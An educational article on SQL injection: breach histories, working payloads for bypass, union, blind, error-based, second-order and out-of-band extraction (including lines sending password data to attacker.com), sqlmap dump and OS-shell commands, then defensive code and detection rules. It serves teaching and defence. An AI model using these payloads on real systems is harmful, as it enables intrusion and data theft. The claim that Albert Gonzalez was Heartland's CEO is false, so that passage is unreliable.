SQL Injection Explained: How It Works and How to Stop It

SQL injection has appeared on every OWASP Top 10 list since the list's inception in 2003. It's been responsible for some of the largest data breaches ever recorded. And it's still being found in production applications every single day — including at companies that have employed security teams for years.

The reason for its persistence is simple: developers learn to build applications without learning to build them securely. String concatenation is the intuitive way to build a SQL query. Parameterization requires knowing why string concatenation is broken. That knowledge gap is where breaches happen.

This post covers every major variant of SQL injection, walks through real exploitation steps with actual payloads, analyzes three historical breaches with technical detail, and provides working code for every defense.

What SQL Injection Actually Is

At the most fundamental level, SQL injection is a failure to maintain the boundary between code and data. When you write application code, you have SQL code (the query structure) and SQL data (the values being queried). The database needs to know which is which.

Parameterized queries maintain this boundary explicitly: you send the query structure first, the database compiles it, then you supply data values that get bound to placeholders. The database never interprets the data as code.

String concatenation destroys the boundary: you construct one string that contains both the query structure and user-supplied data, then send the combined string to the database. The database parses the entire thing as SQL — and if the user-supplied data contains SQL syntax, it gets interpreted as part of the query structure.

-- What the developer intended:
SELECT * FROM products WHERE category = 'Electronics' AND price < 1000
 
-- The actual query when user supplies: Electronics' OR '1'='1
SELECT * FROM products WHERE category = 'Electronics' OR '1'='1' AND price < 1000
 
-- Due to operator precedence (AND binds tighter than OR), this is:
SELECT * FROM products WHERE category = 'Electronics' OR ('1'='1' AND price < 1000)
-- Which returns all Electronics AND any product under $1000 — not what was intended

The malicious input changed the meaning of the query. That's SQL injection.

Historical Breaches: The Real Cost

Heartland Payment Systems (2008) — 130 Million Cards

The Heartland breach began in late 2007 when attackers probed Heartland's web-facing applications and found SQL injection vulnerabilities. Once inside the database tier, they escalated access and installed packet-sniffing malware that intercepted unencrypted credit card data flowing through Heartland's payment processing network.

Scale: 130 million credit and debit card numbers stolen over approximately six months before discovery in January 2009.

Cost: Heartland paid $145 million in compensation to Visa and Mastercard. Total costs including fines, legal fees, and remediation exceeded $200 million. Heartland's CEO Albert Gonzalez was later arrested; his accomplices included carders from Eastern Europe who sold the stolen cards in bulk.

Technical detail: The SQLi was reportedly in a standard web application, not Heartland's core payment processing code. The lateral movement from web tier to payment processor network happened through insufficient network segmentation — a web server that could reach the payment processing LAN.

Sony Pictures (2011) — 77 Million PlayStation Network Accounts

In April 2011, the PlayStation Network was taken offline for 23 days after attackers compromised 77 million accounts. The breach included names, addresses, email addresses, birthdates, and for approximately 12,000 accounts, unencrypted credit card data.

Technical cause: Publicly, Sony attributed the breach to a sophisticated attacker. Security researchers examining the exposed data noted the passwords appeared to be stored in a reversible or weakly-hashed format, and the initial access vector was consistent with SQL injection. A separate Sony Pictures breach in May 2011 explicitly involved SQLi — attackers published a post claiming the Sony Pictures database was compromised using "the most basic of SQL injections."

Cost: Sony estimated the breach cost $171 million. The PlayStation Network was offline for 23 days, costing Sony an estimated $24 million in lost revenue. Sony also provided a year of free PlayStation Plus and identity theft protection to affected users.

Lesson: The PSN breach preceded the Sony Pictures Entertainment breach by LulzSec in May 2011, which also used SQL injection. Two separate major SQLi breaches at the same company within weeks of each other.

Marriott/Starwood (2018) — 500 Million Records

The Marriott/Starwood breach was disclosed in November 2018 but dated to 2014 — four years of undetected access. Attackers compromised the Starwood guest reservation database before Marriott's 2016 acquisition, and the compromise continued through the acquisition entirely undetected.

Technical detail: The initial access vector was not definitively confirmed publicly, but the UK Information Commissioner's Office (ICO) investigation found evidence of SQL injection techniques in the attacker's toolkit. The attribution to China's Ministry of State Security came from US intelligence agencies in 2018.

Scale: 500 million guest records, including 327 million with full details: names, addresses, phone numbers, email addresses, passport numbers, and payment card data.

Cost: ICO fined Marriott £18.4 million (reduced from an initial £99 million). Marriott also faced class-action suits and regulatory investigations across multiple jurisdictions.

Authentication Bypass: The Basics

Authentication bypass through SQL injection is the simplest variant, but it remains relevant because many internal tools, legacy systems, and admin panels contain exactly this pattern.

Classic Login Form Bypass

# VULNERABLE backend code
import sqlite3
 
def authenticate_user(username: str, password: str) -> bool:
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
 
    # NEVER DO THIS
    query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    print(f"Executing: {query}")  # For educational purposes
    cursor.execute(query)
    user = cursor.fetchone()
    return user is not None

Attack payloads:

username: admin'--
password: anything

Resulting query:
SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'
The -- comments out the password check. Logs in as admin.

username: ' OR '1'='1'--
password: anything

Resulting query:
SELECT * FROM users WHERE username = '' OR '1'='1'--' AND password = 'anything'
The OR '1'='1' evaluates to TRUE for every row. Returns the first user (usually admin).

username: admin'/*
password: */ AND '1'='1

Resulting query:
SELECT * FROM users WHERE username = 'admin'/* AND password = '*/ AND '1'='1'
The /* ... */ block comment eliminates the password check.

Testing for SQLi Manually

The first step in any SQLi test is confirming the injection point exists:

# Single quote — causes a syntax error if the value is inserted into SQL
'
 
# Double quote — for identifiers
"
 
# Boolean true/false test — both should return the same result if no injection
' OR '1'='1
' OR '1'='2
 
# Comment-based test
'--
'#
'/*
 
# Time-based test — if this causes a 5-second delay, SQLi is confirmed
' AND SLEEP(5)--        # MySQL
'; SELECT pg_sleep(5)-- # PostgreSQL
'; WAITFOR DELAY '0:0:5'-- # MSSQL

Union-Based Extraction

Union-based SQLi is used when the application reflects database output back in the HTTP response. The UNION SELECT appends a second query to the original, and both result sets are returned together.

Step 1: Determine Column Count

-- ORDER BY technique — increment until you get an error
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--   -- if this causes an error, the original query returns 2 columns
' ORDER BY 4--   -- error confirms 3 columns
 
-- NULL probing technique — more reliable, works across databases
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--  -- when the error disappears, you have the count

Step 2: Find String-Compatible Columns

Not all columns accept string output. Replace NULLs one at a time with a string literal:

' UNION SELECT 'pwnsy',NULL,NULL--
' UNION SELECT NULL,'pwnsy',NULL--
' UNION SELECT NULL,NULL,'pwnsy'--

When pwnsy appears in the response, you know which column position outputs string data.

Step 3: Extract Database Version and Enumerate Tables

-- MySQL / MariaDB
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
 
-- PostgreSQL
' UNION SELECT NULL,version(),NULL--
' UNION SELECT NULL,current_database(),NULL--
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables WHERE table_schema='public'--
 
-- Microsoft SQL Server
' UNION SELECT NULL,@@version,NULL--
' UNION SELECT NULL,DB_NAME(),NULL--
' UNION SELECT NULL,name,NULL FROM sys.tables--
 
-- Oracle
' UNION SELECT NULL,banner,NULL FROM v$version--
' UNION SELECT NULL,table_name,NULL FROM all_tables--

Step 4: Extract Target Table Data

-- Find columns in the users table
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns
  WHERE table_name='users'--
 
-- Extract credentials
' UNION SELECT NULL,username||':'||password_hash,NULL FROM users--
-- MySQL: CONCAT(username,':',password_hash)
-- MSSQL: username+':'+password_hash

Concatenating Multiple Values When Columns Are Limited

-- When you only have one visible string column but want multiple values
' UNION SELECT NULL,username||'~'||password||'~'||email,NULL FROM users--
 
-- Output: [email protected]
-- One response line contains all three fields, split by the ~ delimiter

Blind SQL Injection — Boolean-Based

When the application doesn't reflect database output but does respond differently for true vs. false conditions (different page content, different redirect, different status code).

Confirming Boolean Blindness

-- If the page loads normally for the first payload but differently for the second,
-- boolean-based blind SQLi is confirmed
' AND 1=1--   -- TRUE condition
' AND 1=2--   -- FALSE condition

Extracting Data Bit by Bit

The fundamental technique: use binary search to determine each character's ASCII value.

-- Is the first character of the admin password greater than ASCII 77 (M)?
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) > 77--
 
-- TRUE response: first char > M (search upper half: N-Z, 0-9, etc.)
-- FALSE response: first char ≤ M (search lower half: A-M)
 
-- After binary search narrows down to exact value:
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)) = 104-- -- 'h'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1)) = 117-- -- 'u'
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1)) = 110-- -- 'n'
-- ... continues for each character position

Automated Extraction with sqlmap

This process is too slow to do manually for real data. sqlmap automates it:

# Basic detection
sqlmap -u "https://target.com/products?id=1"
 
# With a captured HTTP request (most reliable for complex authenticated requests)
sqlmap -r request.txt --level=3 --risk=2
 
# Once confirmed vulnerable: enumerate databases
sqlmap -r request.txt --dbs
 
# Enumerate tables in a specific database
sqlmap -r request.txt -D production_db --tables
 
# Dump a specific table
sqlmap -r request.txt -D production_db -T users --dump
 
# Dump specific columns
sqlmap -r request.txt -D production_db -T users -C username,password --dump
 
# Attempt OS shell if DB user has FILE privilege (MySQL)
sqlmap -r request.txt --os-shell
 
# Tamper scripts to bypass WAF
sqlmap -r request.txt --tamper=space2comment,between,randomcase

# request.txt format (captured from Burp Suite)
POST /api/search HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
 
{"query":"test","category":"1"}

Blind SQL Injection — Time-Based

When neither the response content nor the status code changes between true and false conditions, time delays become the channel for data exfiltration.

-- MySQL/MariaDB: conditional SLEEP
' AND IF(1=1, SLEEP(5), 0)--    -- 5 second delay confirms TRUE
' AND IF(1=2, SLEEP(5), 0)--    -- no delay confirms FALSE
 
-- Extracting data with time delay
' AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>77, SLEEP(3), 0)--
 
-- PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
 
-- MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--
 
-- Conditional data extraction (MSSQL)
'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1)) > 77)
   WAITFOR DELAY '0:0:5'--

Practical timing threshold: Use a 3-5 second delay and measure multiple times to account for network jitter. A consistent 3-second differential between true and false is reliable signal. A 0.2-second differential in a high-latency connection is not.

Error-Based SQL Injection

Verbose database errors embedded in the HTTP response provide a direct output channel for data exfiltration.

-- MySQL: ExtractValue generates an XML parsing error containing the extracted data
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--
-- Error: XPATH syntax error: '~8.0.26'
-- The ~ (0x7e) forces the error; the value after it is the extracted data
 
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT password FROM users LIMIT 1)))--
-- Error: XPATH syntax error: '~$2b$12$N4p1hPSNJLB8...'
 
-- MSSQL: Conversion error surfaces string data
' AND 1=CONVERT(int, (SELECT TOP 1 password FROM users))--
-- Error: Conversion failed when converting the nvarchar value '$2b$12$...' to data type int.
 
-- PostgreSQL: Cast error
' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
-- Error: invalid input syntax for type integer: "$2b$12$..."
 
-- Oracle: UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT password FROM users WHERE ROWNUM=1))--

Second-Order SQL Injection

The most underestimated variant. The payload is stored safely (parameterized INSERT), then used unsafely in a subsequent operation.

Scenario: Username in Password Update

# Step 1: Registration — parameterized INSERT, safe
def register_user(username: str, password: str):
    # This is correctly parameterized
    cursor.execute(
        "INSERT INTO users (username, password_hash) VALUES (%s, %s)",
        (username, bcrypt.hashpw(password.encode(), bcrypt.gensalt()))
    )
    # username "admin'--" is stored safely in the database
 
# Step 2: Password update — VULNERABLE
def change_password(username: str, new_password: str):
    # The username is retrieved from the database (trusted source assumption)
    # but then concatenated into a new query — WRONG
    query = f"UPDATE users SET password_hash = '{bcrypt.hashpw(new_password.encode(), bcrypt.gensalt()).decode()}' WHERE username = '{username}'"
    cursor.execute(query)
 
# Attack:
# 1. Register with username: admin'--
# 2. When change_password("admin'--", "newpassword") runs:
#    UPDATE users SET password_hash = '$2b$12$...' WHERE username = 'admin'--'
#    The -- comments out the rest — update applies to ALL users named 'admin'
#    (or whichever user the attacker targets)

Detection Method

Second-order SQLi requires:

1. Mapping where user-controlled data is stored (registration, profile update, etc.)
2. Tracing where that stored data is later used in application code
3. Checking whether the later usage involves string concatenation into a query

Static analysis tools like Semgrep with custom rules can detect this pattern:

# Semgrep rule for second-order SQLi patterns
rules:
  - id: second-order-sqli
    patterns:
      - pattern: |
          $DATA = $DB.query(...)
          ...
          $QUERY = "... " + $DATA + "..."
          $DB.execute($QUERY)
    message: "Potential second-order SQL injection: data from DB used in string-concatenated query"
    severity: ERROR
    languages: [python]

Out-of-Band SQL Injection

When the application returns no output and has consistent response behavior regardless of condition (making boolean-based and time-based unreliable), out-of-band channels extract data via DNS or HTTP requests initiated by the database server.

-- MySQL: load_file or outfile can trigger DNS lookups
-- Requires FILE privilege
' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users LIMIT 1), '.attacker.com\\share'))--
 
-- MSSQL: xp_dirtree for DNS exfiltration (requires sysadmin or xp_cmdshell)
'; DECLARE @p VARCHAR(1024);
   SET @p=(SELECT TOP 1 password FROM users);
   EXEC('master..xp_dirtree "\\'+@p+'.attacker.com\test"')--
 
-- Oracle: UTL_HTTP for HTTP-based exfiltration
' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) FROM dual--

Monitor for these with a Burp Collaborator or self-hosted OAST server (interactsh):

# Self-host an OAST server
interactsh-server -domain yourdomain.com
 
# Use the generated subdomain in payloads
# Any DNS query to *.yourdomain.com will be logged

Defenses That Actually Work

1. Parameterized Queries — The Only Real Fix

Parameterized queries eliminate SQL injection at the root. Period. Every language, every framework, every database supports them.

# Python — psycopg2 (PostgreSQL)
import psycopg2
 
def get_user(conn, username: str, password_hash: str):
    with conn.cursor() as cur:
        cur.execute(
            "SELECT id, username, email, role FROM users WHERE username = %s AND password_hash = %s",
            (username, password_hash)
        )
        return cur.fetchone()
 
# Python — SQLite3
import sqlite3
 
def get_user(conn, username: str, password_hash: str):
    cur = conn.execute(
        "SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?",
        (username, password_hash)
    )
    return cur.fetchone()
 
# Python — SQLAlchemy (raw query with bound parameters)
from sqlalchemy import text
 
def get_user(session, username: str, password_hash: str):
    result = session.execute(
        text("SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"),
        {"username": username, "hash": password_hash}
    )
    return result.fetchone()

// Node.js — pg (PostgreSQL)
const { Pool } = require('pg');
const pool = new Pool();
 
async function getUser(username, passwordHash) {
  const result = await pool.query(
    'SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2',
    [username, passwordHash]
  );
  return result.rows[0];
}
 
// Node.js — mysql2
const mysql = require('mysql2/promise');
 
async function getUser(connection, username, passwordHash) {
  const [rows] = await connection.execute(
    'SELECT id, username, email, role FROM users WHERE username = ? AND password_hash = ?',
    [username, passwordHash]
  );
  return rows[0];
}

// PHP — PDO (the right way)
function getUser(PDO $pdo, string $username, string $passwordHash): ?array {
    $stmt = $pdo->prepare(
        "SELECT id, username, email, role FROM users WHERE username = :username AND password_hash = :hash"
    );
    $stmt->execute([':username' => $username, ':hash' => $passwordHash]);
    return $stmt->fetch(PDO::FETCH_ASSOC) ?: null;
}

// Go — database/sql
import "database/sql"
 
func getUser(db *sql.DB, username, passwordHash string) (*User, error) {
    row := db.QueryRow(
        "SELECT id, username, email, role FROM users WHERE username = $1 AND password_hash = $2",
        username, passwordHash,
    )
    var u User
    if err := row.Scan(&u.ID, &u.Username, &u.Email, &u.Role); err != nil {
        if err == sql.ErrNoRows {
            return nil, nil
        }
        return nil, err
    }
    return &u, nil
}

2. ORM Usage — Safe by Default, Dangerous in Raw Mode

// Prisma — safe by default
const user = await prisma.user.findFirst({
  where: { username, passwordHash },
  select: { id: true, email: true, role: true },
});
 
// VULNERABLE: Prisma raw query without parameterization
// $queryRaw bypasses Prisma's protections entirely
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = '${username}'`;
// Prisma's template literal $queryRaw uses tagged templates — this IS parameterized
// But the old string-based version is not:
const user = await prisma.$queryRawUnsafe(`SELECT * FROM users WHERE username = '${username}'`);
 
// SAFE: $queryRaw with template literals (Prisma automatically parameterizes these)
const user = await prisma.$queryRaw`SELECT * FROM users WHERE username = ${username}`;

# SQLAlchemy ORM — safe
user = db.session.query(User).filter_by(username=username, password_hash=password_hash).first()
 
# VULNERABLE: raw string formatting in SQLAlchemy
db.session.execute(f"SELECT * FROM users WHERE username = '{username}'")
 
# SAFE: raw query with bound parameters
from sqlalchemy import text
db.session.execute(
    text("SELECT * FROM users WHERE username = :username"),
    {"username": username}
)

3. Dynamic ORDER BY and Column Names

Parameterized queries can't be used for column names or ORDER BY direction — these must use a strict allowlist:

ALLOWED_SORT_COLUMNS = {'created_at', 'username', 'email', 'last_login'}
ALLOWED_SORT_DIRECTIONS = {'ASC', 'DESC'}
 
def get_users_sorted(sort_by: str, direction: str):
    if sort_by not in ALLOWED_SORT_COLUMNS:
        raise ValueError(f"Invalid sort column: {sort_by}")
    if direction not in ALLOWED_SORT_DIRECTIONS:
        raise ValueError(f"Invalid sort direction: {direction}")
 
    # Now safe to interpolate — values are allowlisted, not user-controlled
    query = f"SELECT id, username, email FROM users ORDER BY {sort_by} {direction}"
    return db.execute(query).fetchall()

// TypeScript with Prisma — allowlisted dynamic ordering
type SortField = 'createdAt' | 'username' | 'email';
type SortOrder = 'asc' | 'desc';
 
const ALLOWED_FIELDS: SortField[] = ['createdAt', 'username', 'email'];
const ALLOWED_ORDERS: SortOrder[] = ['asc', 'desc'];
 
async function getUsers(sortBy: string, order: string) {
  if (!ALLOWED_FIELDS.includes(sortBy as SortField)) {
    throw new Error('Invalid sort field');
  }
  if (!ALLOWED_ORDERS.includes(order as SortOrder)) {
    throw new Error('Invalid sort order');
  }
 
  return prisma.user.findMany({
    orderBy: { [sortBy as SortField]: order as SortOrder },
  });
}

4. Stored Procedures — Only Safe When Used Correctly

-- VULNERABLE stored procedure (dynamic SQL inside)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    EXEC('SELECT * FROM products WHERE category = ''' + @category + '''')
END
-- This is injectable because the dynamic SQL is constructed via string concatenation
 
-- SAFE stored procedure (uses the parameter directly)
CREATE PROCEDURE SearchProducts
    @category NVARCHAR(50)
AS
BEGIN
    SELECT name, price, description
    FROM products
    WHERE category = @category
END
-- The parameter @category is bound, not interpreted as SQL code

5. Least Privilege Database Accounts

-- Create a restricted application user (PostgreSQL)
CREATE USER app_user WITH PASSWORD 'strong_random_password';
 
-- Grant only what the application needs
GRANT SELECT, INSERT, UPDATE ON TABLE users, products, orders TO app_user;
GRANT SELECT ON TABLE categories TO app_user;
 
-- Do NOT grant:
-- GRANT ALL ON DATABASE appdb TO app_user; -- too broad
-- GRANT SUPERUSER TO app_user; -- never
-- GRANT CREATE TO app_user; -- unless migrations run as this user (use separate migration user)
 
-- Read-only replica user for reporting
CREATE USER reporting_user WITH PASSWORD 'different_strong_password';
GRANT SELECT ON ALL TABLES IN SCHEMA public TO reporting_user;

If an SQL injection occurs against the app_user, the attacker has SELECT/INSERT/UPDATE on specific tables — not DROP TABLE, not EXECUTE shell commands, not access to other databases on the same server.

6. WAF Configuration for SQLi

# ModSecurity CRS rules for SQLi
# /etc/modsecurity/modsecurity.conf
SecRuleEngine On
SecRule REQUEST_COOKIES|REQUEST_HEADERS|ARGS \
    "@detectSQLi" \
    "id:942100,phase:2,deny,status:403,log,msg:'SQL Injection Attack Detected'"
 
# Test your WAF bypass resistance
sqlmap -u "https://target.com/search?q=1" --tamper=space2comment,between,randomcase,charencode

Detection During Code Review

When reviewing code for SQL injection, look for these patterns across every language:

# Red flags in Python
f"SELECT ... WHERE x = '{user_input}'"           # f-string interpolation
"SELECT ... WHERE x = '" + user_input + "'"      # string concatenation
"SELECT ... WHERE x = %s" % (user_input,)        # %-formatting (NOT safe, different from psycopg2 %s)
cursor.execute("SELECT ... WHERE x = " + val)    # execute with concatenation

// Red flags in JavaScript/TypeScript
`SELECT * FROM users WHERE username = '${username}'`  // template literal
"SELECT * FROM users WHERE username = '" + username + "'"  // concatenation
db.execute("SELECT * FROM users WHERE username = " + username)  // execute with string
prisma.$queryRawUnsafe(`SELECT ...${variable}...`)  // Prisma unsafe raw
knex.raw(`SELECT ... WHERE x = '${value}'`)  // Knex raw without bindings

// Red flags in PHP
$query = "SELECT * FROM users WHERE id = " . $_GET['id'];  // concatenation
$query = "SELECT * FROM users WHERE username = '$username'";  // variable interpolation
$result = mysql_query($query);  // mysql_query (deprecated but still seen in legacy code)

Automated Detection with Semgrep

# Run OWASP's Semgrep ruleset for injection
semgrep --config "p/owasp-top-ten" src/
 
# Run specific SQLi rules
semgrep --config "p/sql-injection" src/
 
# Custom rule for Python f-string SQLi
cat > sqli-rule.yaml << 'EOF'
rules:
  - id: python-fstring-sqli
    pattern: |
      cursor.execute(f"... {$VAR} ...")
    message: "Potential SQL injection: f-string used in execute()"
    severity: ERROR
    languages: [python]
EOF
semgrep --config sqli-rule.yaml src/

Testing Methodology During a Pentest

# 1. Passive discovery — find injection points in a crawl
burpsuite &
# Configure browser proxy to Burp
# Navigate the target application
# Check Target > Site Map for all parameters
 
# 2. Active testing — inject into every parameter
# In Burp: right-click request > Send to Intruder
# Set payload position on the parameter value
# Payload list: single quote, double quote, boolean tests
# Check responses for error messages or behavioral differences
 
# 3. Automated confirmation
sqlmap -r captured_request.txt --batch --level=3
 
# 4. Exploitation — only if explicitly authorized for full pentest
sqlmap -r captured_request.txt --dbs --batch
sqlmap -r captured_request.txt -D appdb --tables --batch
sqlmap -r captured_request.txt -D appdb -T users --dump --batch
 
# 5. Document findings
# Screenshot of: vulnerable request, error message or behavioral difference,
# successful data extraction (sanitize real credentials in report)

Attack vs. Defense Summary

Every row in that table has the same primary defense: parameterized queries. The variance between techniques is about detection and exploitation method, not about the underlying fix. If you parameterize every query in your codebase, the entire table becomes irrelevant.

The fact that SQL injection has persisted for two decades is a failure of developer education, not a failure of available solutions. The fix is known, well-documented, supported by every major database driver, and costs nothing in performance. There is no reasonable excuse for writing vulnerable code in 2026.

A worked walkthrough: from a single quote to a full table

It helps to see the reasoning an attacker follows, because the same reasoning tells a defender where the boundary broke. Suppose a product page loads results from a URL parameter, and the developer built the query by concatenating that parameter into a string. The attacker starts with the cheapest possible probe: a single quote. If the page returns a database error, or behaves differently from a normal request, the value is reaching the query as syntax rather than as data. That one character has confirmed the boundary between code and data is gone.

The next question is what kind of channel the injection offers. The attacker sends a pair of conditions, one always true and one always false, and compares the responses. If the two responses differ, the application is leaking a single bit of information per request, which is enough for boolean-blind extraction. If the responses are identical, the attacker reaches for a timing probe: a conditional delay that pauses the database only when a condition holds. A consistent delay that tracks the condition turns the response time into the leak channel.

From there the work is mechanical. Extraction walks the target value one position at a time, asking whether each character is above or below a midpoint and narrowing by binary search, or measuring a delay for each guess. This is slow by hand, which is why tooling automates it, but the concept is simple: every yes-or-no answer the application gives away, whether through content, status code, or timing, is a bit the attacker can accumulate into a password hash, a session token, or an entire table. The lesson for the defender is that the leak is not the error message or the delay. Those are symptoms. The leak is that user input reached the query structure at all, and a parameterized query closes it before any of this reasoning can begin.

Detection signals: catching SQL injection at runtime

Fixing the code is the cure. While code is being fixed, and to catch regressions, runtime detection matters. The signals below are concrete places to look, mapped to what an injection attempt actually produces.

Database error spikes. A sudden rise in syntax errors, type-conversion errors, or information_schema references in application logs is a strong sign someone is probing injection points. Legitimate traffic rarely triggers XPATH or conversion errors in bursts.

Repeated near-identical requests to one parameter. Boolean-blind and time-based extraction generate hundreds to thousands of requests that differ only in a numeric threshold or a substring index. A single client hammering one parameter with slowly varying payloads is the fingerprint of automated extraction.

Response-time outliers that correlate with payload content. Time-based injection deliberately introduces delays. Requests whose latency jumps to a suspicious round number, three or five seconds, and that contain conditional keywords, deserve immediate attention.

Keywords in unexpected fields. UNION, SELECT, SLEEP, WAITFOR, pg_sleep, information_schema, and comment sequences appearing in parameters that should hold names, numbers, or identifiers point to injection attempts. Watch cookies and headers too, since those are injection points that developers forget to treat as user input.

Outbound DNS or HTTP from the database host. Out-of-band extraction makes the database server itself reach out to an attacker-controlled domain. A database that suddenly performs DNS lookups for unfamiliar external names is exfiltrating over a side channel. Egress filtering on the database tier both blocks this and surfaces the attempt.

Access to tables the application never queries. If your application only ever reads three tables, a query touching sys.tables, all_tables, or system catalogs is not your application behaving normally. Query-level auditing that baselines expected access makes this visible.

Common mistakes that reintroduce injection

Teams that believe they are safe often are not, because a handful of patterns quietly reopen the hole.

Sanitizing instead of parameterizing. Escaping quotes or stripping keywords feels like a fix and is not one. Encodings, alternative syntax, and edge cases defeat blocklists, and numeric contexts need no quotes at all. Parameterization is the fix. Sanitization is a patch over a design that is still concatenating.

Parameterizing the obvious query and forgetting the rest. A codebase can parameterize its login query perfectly and still concatenate in a reporting export, an admin search, or a background job. Injection needs one unparameterized query, so partial coverage is not coverage.

Trusting data because it came from the database. Second-order injection exploits exactly this. A value stored safely through a parameterized insert is still attacker-controlled when it is later concatenated into a new query. Data read back from your own database deserves the same parameterization as data read from a request.

Interpolating identifiers. Parameterization binds values, not table names, column names, or sort direction. Developers who need dynamic ordering sometimes drop back to string concatenation for the whole query. The correct pattern is a strict server-side allowlist for the identifier and parameterization for the values.

Assuming an ORM makes it impossible. ORMs are safe by default and expose raw escape hatches. A raw query interface fed a concatenated string is as injectable as any hand-written query, and the ORM's presence gives false confidence.

Leaning on a web application firewall as the fix. A firewall reduces noise and buys time. It does not repair vulnerable code, and determined bypasses get through. Treat it as a speed bump layered on top of parameterized queries, never as the reason the code can stay broken.

How SQL injection has evolved

The vulnerability itself has not changed since applications first concatenated user input into queries. What has changed is the surrounding landscape. Early exploitation relied on verbose database errors printed straight to the page, which made error-based extraction trivial. As frameworks began suppressing errors in production, attackers shifted to blind techniques that need only a behavioral difference, and then to time-based techniques that need no visible difference at all. When applications went quiet on every channel, out-of-band methods emerged that make the database itself phone home over DNS or HTTP.

Defenses moved in parallel. Parameterized query interfaces became standard in every major driver, ORMs made the safe path the default path, and automated scanners made injection points cheaper to find on both sides. The net effect is that classic, obvious injection has grown rarer in well-maintained code, while the surviving cases cluster in the awkward spots: dynamic identifiers, second-order flows, raw ORM escape hatches, and legacy code written before the safe patterns were universal. The through-line across the whole history is that the root cause never moved. Every era of technique is a different way to exploit or detect the same failure to separate code from data.

Frequently asked questions

Do parameterized queries slow the application down? No. Parameterized queries let the database compile a query plan once and reuse it across executions, which often improves performance under repeated calls. There is no performance argument for string concatenation. The safe path is also the fast path.

Is input validation enough to prevent SQL injection? No. Validation is useful for data quality and can reduce attack surface, but it is not a reliable defense on its own. Blocklists miss encodings and database-specific syntax, and numeric injection contexts need no special characters. Parameterized queries are the control that closes the vulnerability regardless of what the input contains.

Can an ORM be injected? Yes, through its raw query escape hatches. ORM query builders are safe by default, but interfaces such as raw or unsafe query methods pass strings straight to the database. Concatenating user input into those interfaces reintroduces injection exactly as if the ORM were not there.

Why do parameterized queries not work for ORDER BY or column names? Parameter binding substitutes data values, and a table name, column name, or sort direction is part of the query structure rather than a value. You cannot bind them. Protect dynamic identifiers with a strict server-side allowlist, comparing user input against a fixed set of permitted names before it reaches the query.

What is second-order SQL injection? It is injection where the payload is stored safely and executed later. A value inserted through a parameterized query sits harmlessly in the database, then becomes dangerous when some other code path reads it back and concatenates it into a new query. The fix is to parameterize every query, including ones that use data sourced from your own database.

Does a web application firewall make my code safe? No. A firewall can block many payloads and slow an attacker down, but encoding tricks, parameter pollution, and database-specific syntax routinely bypass its rules. It is a layer on top of secure code, never a substitute. If the underlying query is still concatenated, the one payload that slips through is enough.

How do least-privilege database accounts help if injection still happens? They cap the blast radius. An application account granted only the specific reads and writes it needs cannot drop tables, read other databases, or execute system commands even when a query is successfully injected. Least privilege does not prevent injection, it limits what a successful injection can reach.

Related guides

• OWASP Top 10 Explained
• Cross-Site Scripting (XSS) Explained
• Secure Coding Practices
• Bug Bounty Hunting: Getting Started
• How to Become an Ethical Hacker